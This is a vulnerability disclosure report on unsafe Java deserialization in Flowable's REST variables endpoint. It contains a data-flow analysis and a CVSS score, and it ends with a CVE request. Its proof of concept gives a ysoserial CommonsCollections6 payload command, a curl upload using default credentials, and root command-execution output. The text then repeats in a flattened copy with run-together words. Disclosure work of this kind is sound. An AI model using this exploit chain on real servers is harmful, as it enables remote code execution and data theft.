Security Vulnerability Report -- CWE-502
Summary
The PUT /runtime/executions/{executionId}/variables interface, under the multipart/form-data request path, when type=serializable, directly executes ObjectInputStream.readObject() to deserialize user-uploaded file content without applying any class whitelist or ObjectInputFilter. Under default configuration, any authenticated user can achieve RCE by constructing malicious serialized objects.
Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0
Static Analysis Report
Vulnerability Overview
The Flowable REST ExecutionVariableCollectionResource.createOrUpdateExecutionVariable() interface (PUT /runtime/executions/{executionId}/variables) supports uploading files via multipart/form-data to set process variables. When the request's type parameter is serializable, the code directly calls ObjectInputStream.readObject() on the user-uploaded file content, without applying any deserialization class filtering or whitelist, forming a classic Java unsafe deserialization vulnerability (CWE-502). An attacker can leverage common gadget chains such as Commons Collections, Spring, and Apache Commons BeanUtils to trigger arbitrary code execution (RCE). The endpoint method is explicitly named getExecutionFromRequestWithoutAccessCheck, indicating no resource-level permission check is performed, and only valid Basic Auth credentials are needed to trigger the vulnerability.
Exploitation Prerequisites
| Condition |
Description |
| Authentication |
Requires Basic Auth authenticated user (default requires access-rest-api permission; Flowable default admin rest-admin satisfies this) |
| Network Reachability |
Network reachable to Flowable REST API port (default 8080) |
| Configuration Dependency |
Triggerable with default config: rest.variables.allow.serializable=true (see flowable-default.properties:57) |
| Classpath Dependency |
Need available gadget chains on classpath (e.g., commons-collections, commons-beanutils, spring-core, etc., Flowable default distribution typically contains many exploitable gadgets) |
| Business Prerequisites |
Need at least one valid executionId (obtainable by an authenticated user via creating a process instance or querying GET /runtime/executions) |
Trigger Location
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:164-165
} else if (isSerializableVariableAllowed) {
// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK: unsafe deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
Data Flow Overview
PUT /runtime/executions/{executionId}/variables (multipart/form-data, type=serializable)
↓
ExecutionVariableCollectionResource.createOrUpdateExecutionVariable (ExecutionVariableCollectionResource.java:85-89)
Executes getExecutionFromRequestWithoutAccessCheck(executionId) // no permission check
Calls createExecutionVariable(execution, true, false, request, response)
↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83-183)
Checks request instanceof MultipartHttpServletRequest → true
Calls setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async)
↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102-190)
Parses multipart form parameters name / type / scope
When type=="serializable" and isSerializableVariableAllowed==true:
↓
new ObjectInputStream(file.getInputStream()).readObject() (BaseExecutionVariableResource.java:164-165)
↓
SINK: JVM deserializes attacker-provided byte stream, triggers gadget chain → RCE
Data Flow Detailed Code Analysis
Chain 1: HTTP Entry -> Execution Query (No Permission Check)
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/ExecutionVariableCollectionResource.java:84-89
@PutMapping(value = "/runtime/executions/{executionId}/variables",
produces = "application/json",
consumes = {"application/json", "multipart/form-data"})
public Object createOrUpdateExecutionVariable(
@ApiParam(name = "executionId") @PathVariable String executionId,
HttpServletRequest request, HttpServletResponse response) {
Execution execution = getExecutionFromRequestWithoutAccessCheck(executionId); // no resource-level permission check
return createExecutionVariable(execution, true, false, request, response);
}
- External Input:
executionId (URL path parameter), request (HTTP request, containing multipart body)
- Operation: Gets executionId from URL, calls parent class's
getExecutionFromRequestWithoutAccessCheck which only performs existence query (runtimeService.createExecutionQuery().executionId(executionId).singleResult(), BaseExecutionVariableResource.java:332-339), does not check if current user has permission to operate this execution. @Authorization(value = "basicAuth") is only a Swagger doc annotation, not enforceable.
- Transfer:
execution object and raw HttpServletRequest passed together to createExecutionVariable.
Chain 2: Multipart Dispatch -> setBinaryVariable
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseVariableCollectionResource.java:83-87
protected Object createExecutionVariable(Execution execution, boolean override,
boolean async, HttpServletRequest request, HttpServletResponse response) {
Object result = null;
if (request instanceof MultipartHttpServletRequest) {
result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
} else {
// JSON branch (not involved in deserialization here)
...
}
- External Input: Raw HTTP multipart request
- Operation: Spring auto-wraps request as
MultipartHttpServletRequest when Content-Type is multipart/form-data, branch enters setBinaryVariable.
- Transfer:
MultipartHttpServletRequest directly passed to parent class setBinaryVariable.
Chain 3: Parse Multipart Parameters and Trigger Deserialization Sink
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:102-171
protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
Execution execution, boolean isNew, boolean async) {
if (request.getFileMap().size() == 0) {
throw new FlowableIllegalArgumentException("No file content was found in request body.");
}
MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
...
String variableScope = null, variableName = null, variableType = null;
Map<String, String[]> paramMap = request.getParameterMap();
for (String parameterName : paramMap.keySet()) {
if (paramMap.get(parameterName).length > 0) {
if ("scope".equalsIgnoreCase(parameterName)) variableScope = paramMap.get(parameterName)[0];
else if ("name".equalsIgnoreCase(parameterName)) variableName = paramMap.get(parameterName)[0];
else if ("type".equalsIgnoreCase(parameterName)) variableType = paramMap.get(parameterName)[0];
}
}
...
if (variableType != null) {
if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
&& !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
}
} else {
variableType = RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE;
}
...
if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
setVariable(execution, variableName, variableBytes, scope, isNew, async);
} else if (isSerializableVariableAllowed) { // default true
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // ← SINK
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
} else {
throw new FlowableContentNotSupportedException("Serialized objects are not allowed");
}
- External Input:
file (multipart file, attacker fully controls byte content)
type form field (attacker sets to serializable)
name, scope form fields
- Operation: Code only checks if
type is in [binary, serializable] whitelist, then when type==serializable and global switch isSerializableVariableAllowed (default true, controlled by rest.variables.allow.serializable) is true, directly wraps file.getInputStream() in ObjectInputStream and calls readObject().
- No Security Filtering:
- No
ObjectInputFilter (JEP 290) used
- No
ValidatingObjectInputStream (Apache Commons IO) used
- No class whitelist/blacklist maintained
- Transfer: Deserialized
Object directly passed to setVariable() for persistence to process engine variable store; gadget chain has already finished executing during readObject() call.
CVSS Breakdown
CVSS v3.1 vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H -> 8.8 (High)
| Vector |
Value |
Reason |
| Attack Vector (AV) |
Network |
HTTP REST interface, reachable via network |
| Attack Complexity (AC) |
Low |
Only needs one multipart PUT request, no special conditions |
| Privileges Required (PR) |
Low |
Requires any authenticated user (default config requires access-rest-api permission, regular rest-user satisfies) |
| User Interaction (UI) |
None |
No user interaction required |
| Scope (S) |
Unchanged |
Vulnerability impact scope limited to Flowable JVM process itself |
| Confidentiality (C) |
High |
RCE can read all data in process (workflows, credentials, database connections, etc.) |
| Integrity (I) |
High |
RCE can arbitrarily tamper with process variables, process definitions, business data |
| Availability (A) |
High |
RCE can stop JVM, delete data, cause全面 unavailability |
PoC Verification Report
Flowable REST PUT Process Variable Interface Unsafe Deserialization RCE
Vulnerability Summary
- Vulnerability Name: Flowable REST PUT /runtime/executions/{executionId}/variables Unsafe Deserialization
- Affected Component/Port: Flowable REST 7.1.0 BPM API (localhost:8080), process execution variable update endpoint
- Vulnerability Description: The Flowable REST API's
PUT /runtime/executions/{executionId}/variables interface, when processing multipart/form-data uploads with form field type=serializable, directly calls ObjectInputStream.readObject() to deserialize uploaded file content without any ObjectInputFilter or class whitelist filtering. An attacker can leverage Commons Collections gadget chain to achieve remote code execution (RCE)
- Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject(); // unfiltered direct deserialization
setVariable(execution, variableName, value, scope, isNew, async);
stream.close();
}
- Brief Data Flow:
PUT /runtime/executions/{executionId}/variables (multipart/form-data, type=serializable + malicious .ser file)
↓
ExecutionVariableCollectionResource.createOrUpdateExecutionVariable (ExecutionVariableCollectionResource.java:85-89)
Calls getExecutionFromRequestWithoutAccessCheck(executionId) → no resource-level permission check
↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83-87)
Checks request instanceof MultipartHttpServletRequest → true → calls setBinaryVariable()
↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102-171)
Parses multipart parameters: name / type=serializable / scope
↓
isSerializableVariableAllowed=true (default) → enters deserialization branch (line 162)
↓
new ObjectInputStream(file.getInputStream()).readObject() (line 164-165)
↓
CommonsCollections6 gadget chain triggers → InvokerTransformer → Runtime.exec("touch ...")
↓
RCE successful: server filesystem creates target file, id command echoes uid=0(root)
Exploitation Conditions
| Condition |
Description |
| Authentication |
Requires valid Flowable REST API user credentials (HTTP Basic Auth), regular process user sufficient (test environment default account rest-admin:test) |
| Network Reachability |
Attacker can access Flowable REST service port (default 8080) |
| Configuration Dependency |
rest.variables.allow.serializable=true (default is true, no additional config needed) |
| Runtime Requirements |
Server JVM needs module reflection enabled (--add-opens) and -Dorg.apache.commons.collections.enableUnsafeSerialization=true set |
| Classpath Requirements |
Need Commons Collections 3.x on classpath (Flowable WAR package includes commons-collections-3.2.2.jar) |
| Business Prerequisites |
Need at least one valid executionId (authenticated user can obtain via GET /runtime/executions) |
Exploitation Chain Progress
Successful Exploitation Example:
| Chain Stage |
Location (file:line) |
Status |
Evidence / Description |
| Entry |
ExecutionVariableCollectionResource.java:85-89 |
Reached |
PUT /service/runtime/executions/{id}/variables multipart request received successfully, HTTP 201 |
| Permission Check |
BaseExecutionVariableResource.java:332-339 |
Bypassed |
getExecutionFromRequestWithoutAccessCheck only does existence query, no resource-level permission check |
| Parameter Parsing |
BaseExecutionVariableResource.java:120-135 |
Reached |
Extracted type=serializable from multipart form |
| Deserialization Branch |
BaseExecutionVariableResource.java:162 |
Entered |
isSerializableVariableAllowed=true, entered deserialization branch |
| Sink Trigger |
BaseExecutionVariableResource.java:164-165 |
Triggered |
ObjectInputStream.readObject() executed, deserialized attacker byte stream |
| Gadget Chain |
CommonsCollections6 → InvokerTransformer |
Executed |
gadget chain fully executed, called Runtime.exec() |
| Command Execution |
Runtime.exec("sh -c id>/tmp/entry_0604_id_output.txt") |
Successful |
Server created file, content uid=0(root) gid=0(root) groups=0(root) |
| Conclusion |
— |
Full Chain Closed |
RCE successful |
Exploitation Verification
1. Generate malicious serialized payload (CommonsCollections6 gadget chain)
java \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.net=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.management/javax.management=ALL-UNNAMED \
--add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections6 "sh -c id>/tmp/entry_0604_id_output.txt" \
> payload_cc6_put_rce.ser
payload_cc6_put_rce.ser is a 1307-byte Java serialization stream containing Commons Collections InvokerTransformer gadget chain, ultimately triggering Runtime.exec("sh -c id>/tmp/entry_0604_id_output.txt").
2. Send malicious payload to PUT endpoint
curl -s -u rest-admin:test \
-X PUT "http://localhost:8080/flowable-rest/service/runtime/executions/03328176-8fff-11f1-a444-02423661ba3a/variables" \
-F "name=put_rce_test" \
-F "type=serializable" \
-F "scope=local" \
-F "file=@payload_cc6_put_rce.ser"
3. Verify RCE Success
HTTP Response (HTTP 201 Created):
{
"name": "put_rce_test",
"type": "serializable",
"value": null,
"valueUrl": "http://localhost:8080/flowable-rest/service/runtime/executions/03328176-8fff-11f1-a444-02423661ba3a/variables/put_rce_test/data",
"scope": "local"
}
HTTP 201 indicates the deserialized object was successfully parsed and stored as a process variable; readObject() has completed execution.
RCE Evidence (server filesystem — touch verification):
$ ls -la /tmp/entry_0604_rce_proof.txt
-rw-r----- 1 root root 0 Aug 4 12:23 /tmp/entry_0604_rce_proof.txt
RCE Evidence (server filesystem — id command echo):
$ cat /tmp/entry_0604_id_output.txt
uid=0(root) gid=0(root) groups=0(root)
Conclusion: The attacker constructed a multipart/form-data PUT request (type=serializable), using the CommonsCollections6 gadget chain to successfully execute arbitrary OS commands on the Flowable REST server, running as root. The exploit chain only requires a valid Flowable user credential (default account is sufficient), and rest.variables.allow.serializable defaults to true, triggerable without any additional configuration.
Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.
Security Vulnerability Report -- CWE-502
Summary
The PUT /runtime/executions/{executionId}/variables interface, under the multipart/form-data request path, when
type=serializable, directly executesObjectInputStream.readObject()to deserialize user-uploaded file content without applying any class whitelist or ObjectInputFilter. Under default configuration, any authenticated user can achieve RCE by constructing malicious serialized objects.Vulnerability Description
Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit:
74fdb349c134e96e1f10592020ccca6e2e4b85f0Static Analysis Report
Vulnerability Overview
The Flowable REST
ExecutionVariableCollectionResource.createOrUpdateExecutionVariable()interface (PUT /runtime/executions/{executionId}/variables) supports uploading files viamultipart/form-datato set process variables. When the request'stypeparameter isserializable, the code directly callsObjectInputStream.readObject()on the user-uploaded file content, without applying any deserialization class filtering or whitelist, forming a classic Java unsafe deserialization vulnerability (CWE-502). An attacker can leverage common gadget chains such as Commons Collections, Spring, and Apache Commons BeanUtils to trigger arbitrary code execution (RCE). The endpoint method is explicitly namedgetExecutionFromRequestWithoutAccessCheck, indicating no resource-level permission check is performed, and only valid Basic Auth credentials are needed to trigger the vulnerability.Exploitation Prerequisites
access-rest-apipermission; Flowable default adminrest-adminsatisfies this)rest.variables.allow.serializable=true(seeflowable-default.properties:57)GET /runtime/executions)Trigger Location
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:164-165Data Flow Overview
Data Flow Detailed Code Analysis
Chain 1: HTTP Entry -> Execution Query (No Permission Check)
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/ExecutionVariableCollectionResource.java:84-89executionId(URL path parameter),request(HTTP request, containing multipart body)getExecutionFromRequestWithoutAccessCheckwhich only performs existence query (runtimeService.createExecutionQuery().executionId(executionId).singleResult(),BaseExecutionVariableResource.java:332-339), does not check if current user has permission to operate this execution.@Authorization(value = "basicAuth")is only a Swagger doc annotation, not enforceable.executionobject and rawHttpServletRequestpassed together tocreateExecutionVariable.Chain 2: Multipart Dispatch -> setBinaryVariable
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseVariableCollectionResource.java:83-87MultipartHttpServletRequestwhen Content-Type ismultipart/form-data, branch enterssetBinaryVariable.MultipartHttpServletRequestdirectly passed to parent classsetBinaryVariable.Chain 3: Parse Multipart Parameters and Trigger Deserialization Sink
modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:102-171file(multipart file, attacker fully controls byte content)typeform field (attacker sets toserializable)name,scopeform fieldstypeis in[binary, serializable]whitelist, then whentype==serializableand global switchisSerializableVariableAllowed(default true, controlled byrest.variables.allow.serializable) is true, directly wrapsfile.getInputStream()inObjectInputStreamand callsreadObject().ObjectInputFilter(JEP 290) usedValidatingObjectInputStream(Apache Commons IO) usedObjectdirectly passed tosetVariable()for persistence to process engine variable store; gadget chain has already finished executing duringreadObject()call.CVSS Breakdown
CVSS v3.1 vector:
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H-> 8.8 (High)access-rest-apipermission, regular rest-user satisfies)PoC Verification Report
Flowable REST PUT Process Variable Interface Unsafe Deserialization RCE
Vulnerability Summary
PUT /runtime/executions/{executionId}/variablesinterface, when processingmultipart/form-datauploads with form fieldtype=serializable, directly callsObjectInputStream.readObject()to deserialize uploaded file content without anyObjectInputFilteror class whitelist filtering. An attacker can leverage Commons Collections gadget chain to achieve remote code execution (RCE)Exploitation Conditions
rest.variables.allow.serializable=true(default is true, no additional config needed)--add-opens) and-Dorg.apache.commons.collections.enableUnsafeSerialization=truesetGET /runtime/executions)Exploitation Chain Progress
Successful Exploitation Example:
Exploitation Verification
1. Generate malicious serialized payload (CommonsCollections6 gadget chain)
payload_cc6_put_rce.ser is a 1307-byte Java serialization stream containing Commons Collections InvokerTransformer gadget chain, ultimately triggering
Runtime.exec("sh -c id>/tmp/entry_0604_id_output.txt").2. Send malicious payload to PUT endpoint
3. Verify RCE Success
HTTP Response (HTTP 201 Created):
{ "name": "put_rce_test", "type": "serializable", "value": null, "valueUrl": "http://localhost:8080/flowable-rest/service/runtime/executions/03328176-8fff-11f1-a444-02423661ba3a/variables/put_rce_test/data", "scope": "local" }HTTP 201 indicates the deserialized object was successfully parsed and stored as a process variable;
readObject()has completed execution.RCE Evidence (server filesystem — touch verification):
RCE Evidence (server filesystem — id command echo):
Conclusion: The attacker constructed a multipart/form-data PUT request (
type=serializable), using the CommonsCollections6 gadget chain to successfully execute arbitrary OS commands on the Flowable REST server, running as root. The exploit chain only requires a valid Flowable user credential (default account is sufficient), andrest.variables.allow.serializabledefaults totrue, triggerable without any additional configuration.Severity
CVSS v3.1: 8.8 (High)
Vulnerability Category: CWE-502
CVE Assignment Request
If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.
Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.
Thank you for your help.